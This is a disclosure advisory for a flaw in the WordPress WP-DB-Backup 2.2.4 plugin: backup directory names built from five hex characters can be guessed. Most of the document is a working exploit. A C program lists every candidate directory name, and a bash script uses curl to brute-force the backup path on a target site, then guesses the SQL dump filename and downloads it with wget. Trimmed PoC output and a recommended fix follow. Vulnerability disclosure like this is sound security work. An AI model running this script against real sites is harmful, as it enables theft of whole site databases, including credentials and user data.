Title: Wordpress WP-DB-Backup v2.2.4 Plugin Remote Database Backup Download Vulnerability

Author: Larry W. Cashdollar, @_larry0

Download: https://wordpress.org/plugins/wp-db-backup/

Downloads: 2,087,709

Website: http://austinmatzko.com/wordpress-plugins/wp-db-backup/

Vendor: austin@pressedcode.com 

Notified: 11/2/2014, Acknowledged 11/4/2014

CVE:

OSVDBID:

Description: "WP-DB-Backup allows you easily to backup your core WordPress database tables. You may also backup other tables in the same database."

Vulnerability: WP-DB-Backup creates a backup storage path under the wp-contents directory of the wordpress installation if the option to store backups locally is selected (not default). The path is:

/wordpress/wp-content/backup-[5_characters_of_md5sum]/ Where the backup directory name is derived from lines in wp-db-backup.php:

    36 $rand = substr( md5( md5( DB_PASSWORD ) ), -5 );
    .
    .
    42 if ( ! defined('WP_BACKUP_DIR') ) {
    43         define('WP_BACKUP_DIR', $wpdbb_content_dir . '/backup-' . $rand . '/');
    44 }
    45
    46 if ( ! defined('WP_BACKUP_URL') ) {
    47         define('WP_BACKUP_URL', $wpdbb_content_url . '/backup-' . $rand . '/');
    48 }

It's not random enough as the md5 characters can only be 0-9 and a-f (hexadecimal), which turns out to be 16^5 possible combinations or 1048576. And it will always be five characters no less.

A small C program can generate a rainbow table (uncompressed about 6MB) in a few seconds.

/*Create rainbow table for guessing wp-backup-db v2.2.4 backup path
Larry W. Cashdollar*/

#include <stdio.h>
#include <stdlib.h>

int main (void)
{
 char string[16] = "0123456789abcdef";
 int x, y, z, a, b;

 for (x = 0; x < 16; x++)
   {
     for (y = 0; y < 16; y++)
        {
          for (z = 0; z < 16; z++)
            {
              for (a = 0; a < 16; a++)
                {
                  for (b = 0; b < 16; b++)
                    {
                      printf ("%c%c%c%c%c\n", string[x], string[y], string[z],
                              string[a], string[b]);
                    }
                }
            }
        }
   }
return(0);
}

# gcc rainbow.c -o rain

# time ./rain > rainbow

real        0m0.193s

user        0m0.188s

sys        0m0.004s

# ls -l rainbow

-rw-r--r-- 1 root root 6291456 Oct 31 21:21 rainbow

# wc -l rainbow

1048576 rainbow

So we've got all of our possible directory locations, we just need a way to check when we've found the correct one.

An attempt is made to block file listing by placing a 0 sized index.php file in the backup directory.

Because of the index.php file we will know if we've gotten the correct directory name because we will receive a 200 response from the web server vs 404 file not found.

So a full PoC would be create our rainbow table with target URL, run through all of the combinations until we get a 200 response.

Then start guessing the SQL filename.

The backup files can be guessed as they follow a common format:

DBNAME_TABLE_PREFIX_YYYYMMDAY_SWATCH_TIME.sql.

For example:

wordpress_wp_20141031_036.sql

wordpress typically defaults the Prefix name to wp_.

The database name will be the hardest thing to guess, use some derivative of wordpress, wp, etc..

File names are generated by lines in wp-db-backup.php:

99                 $datum = date("Ymd_B");
100                $this->backup_filename = DB_NAME . "_$table_prefix$datum.sql";

Where B is Swatch Internet time 000-999.  

So PoC:

  1. Find out backup path name via brute force.
  2. Attempt to guess database backup file name, try DBNAME of wordpress, wpdb, wordpdb etc scan entire day from current swatch time back down to 000.
  3. Distribute backup path guessing over multiple hosts with different key spaces.

#!/bin/bash

#Larry W. Cashdollar, @_larry0

#Will brute force and search a Wordpress target site with WP-DB-Backup v2.2.4 plugin installed for any backups done on

#20141031 assumes the wordpress database is wordpress and the table prefix is wp_

#http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-db-backup-v2.2.4/

#http://thehackerblog.com/auditing-wp-db-backup-wordpress-plugin-why-using-the-database-password-for-entropy-is-a-bad-idea/

#run ./exp targetsite

DATE="20141031"; #Date to search

if [ ! -e rainbow ]; then

cat << -EOF- > rbow.c

/*Create rainbow table for guessing wp-backup-db v2.2.4 backup path

Larry W. Cashdollar*/

#include <stdio.h>

int

main (void)

{

  char string[16] = "0123456789abcdef";

  int x, y, z, a, b;

  for (x = 0; x < 16; x++)

      for (y = 0; y < 16; y++)

          for (z = 0; z < 16; z++)

              for (a = 0; a < 16; a++)

                  for (b = 0; b < 16; b++)

                      printf ("%c%c%c%c%c\n", string[x], string[y], string[z],

                              string[a], string[b]);

return(0);

}

-EOF-

echo "[+] Compiling rbow.c"

gcc rbow.c -o rbow

echo "[+] Creating rainbow table..."

./rbow > rainbow

fi

if [ ! -e found.txt ]; then

Z=0

K=`wc -l rainbow|awk '{print $1}'`;

echo "[+] Searching....";

        for x in `cat rainbow`; do

                CPATH="http://$1/wp-content/backup-$x/";

                 RESULT=`curl -s --head $CPATH|grep 200`;

                if [ -n "$RESULT" ]; then

                 echo "[+] Location $CPATH Found";

                 echo "[+] Received $RESULT";

                 echo $x > found.txt;

                 break; #break here

        fi;

                 echo -n "Percent Done: ";

                 Y=`echo "scale=6;($Z/$K)*100"|bc`;

                 echo -n $Y

                 echo "%";

                 Z=$(( $Z + 1 ));

done

else

x=`cat found.txt`;

fi

# Now that we have the directory lets try to locate the database backup file.

K=999;

for y in `seq -w 0 999`; do

                CPATH="http://$1/wp-content/backup-$x/wordpress_wp_$2_$y.sql"; #change WP Database Name and Table Prefix here

                 RESULT=`curl -s --head $CPATH|grep 200`;

                if [ -n "$RESULT" ]; then

                 echo "[+] Database backup $CPATH Found";

                 echo "[+] Received $RESULT";

                 wget $CPATH

                 exit; #break here

        fi;

                 echo -n "Percent Done: ";

                 Y=`echo "scale=2;($Z/$K)*100"|bc`;

                 echo -n $Y

                 echo "%";

                 Z=$(( $Z + 1 ));

done

PoC output

I’ve trimmed this down for brevity.

 

root@vapidlabs:~# ./exp2.sh www.vapidlabs.com 20141031

[+] Searching....

Percent Done: 0%

Percent Done: 1.960700%

Percent Done: 3.921500%

Percent Done: 5.882300%

Percent Done: 7.843100%

Percent Done: 9.803900%

Percent Done: 11.764700%

Percent Done: 13.725400%

Percent Done: 15.686200%

Percent Done: 17.647000%

Percent Done: 19.607800%

Percent Done: 21.568600%

Percent Done: 23.529400%

Percent Done: 25.490100%

Percent Done: 27.450900%

Percent Done: 29.411700%

Percent Done: 31.372500%

Percent Done: 33.333300%

Percent Done: 35.294100%

Percent Done: 37.254900%

Percent Done: 39.215600%

Percent Done: 41.176400%

Percent Done: 43.137200%

Percent Done: 45.098000%

Percent Done: 47.058800%

Percent Done: 49.019600%

Percent Done: 50.980300%

Percent Done: 52.941100%

Percent Done: 54.901900%

Percent Done: 56.862700%

Percent Done: 58.823500%

Percent Done: 60.784300%

Percent Done: 62.745000%

Percent Done: 64.705800%

Percent Done: 66.666600%

Percent Done: 68.627400%

Percent Done: 70.588200%

Percent Done: 72.549000%

Percent Done: 74.509800%

Percent Done: 76.470500%

Percent Done: 78.431300%

Percent Done: 80.392100%

Percent Done: 82.352900%

Percent Done: 84.313700%

Percent Done: 86.274500%

Percent Done: 88.235200%

Percent Done: 90.196000%

Percent Done: 92.156800%

Percent Done: 94.117600%

Percent Done: 96.078400%

[+] Location http://www.vapidlabs.com/wp-content/backup-baff5/ Found

[+] Received HTTP/1.1 200 OK

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 5.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 6.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 7.00%

Percent Done: 8.00%

Percent Done: 8.00%

Percent Done: 8.00%

Percent Done: 8.00%

Percent Done: 8.00%

Percent Done: 8.00%

[+] Database backup http://www.vapidlabs.com/wp-content/backup-baff5/wordpress_wp_20141031_036.sql Found

[+] Received HTTP/1.1 200 OK

--2014-11-17 09:44:35--  http://www.vapidlabs.com/wp-content/backup-baff5/wordpress_wp_20141031_036.sql

Resolving www.vapidlabs.com (www.vapidlabs.com)... 192.168.0.26

Connecting to www.vapidlabs.com (www.vapidlabs.com)|192.168.0.26|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 438401 (428K) [application/x-sql]

Saving to: `wordpress_wp_20141031_036.sql'

100%[===================================================================================>] 438,401     --.-K/s   in 0.001s  

2014-11-17 09:44:35 (325 MB/s) - `wordpress_wp_20141031_036.sql' saved [438401/438401]

Also the backup files are left open to any local user to read.

$ ls -l wordpress_wp_20141031_036.sql

-rw-r--r-- 1 www-data www-data 438401 Oct 31 19:52 wordpress_wp_20141031_036.sql

Recommended Fix:

Create .htaccess directory under root backup directory.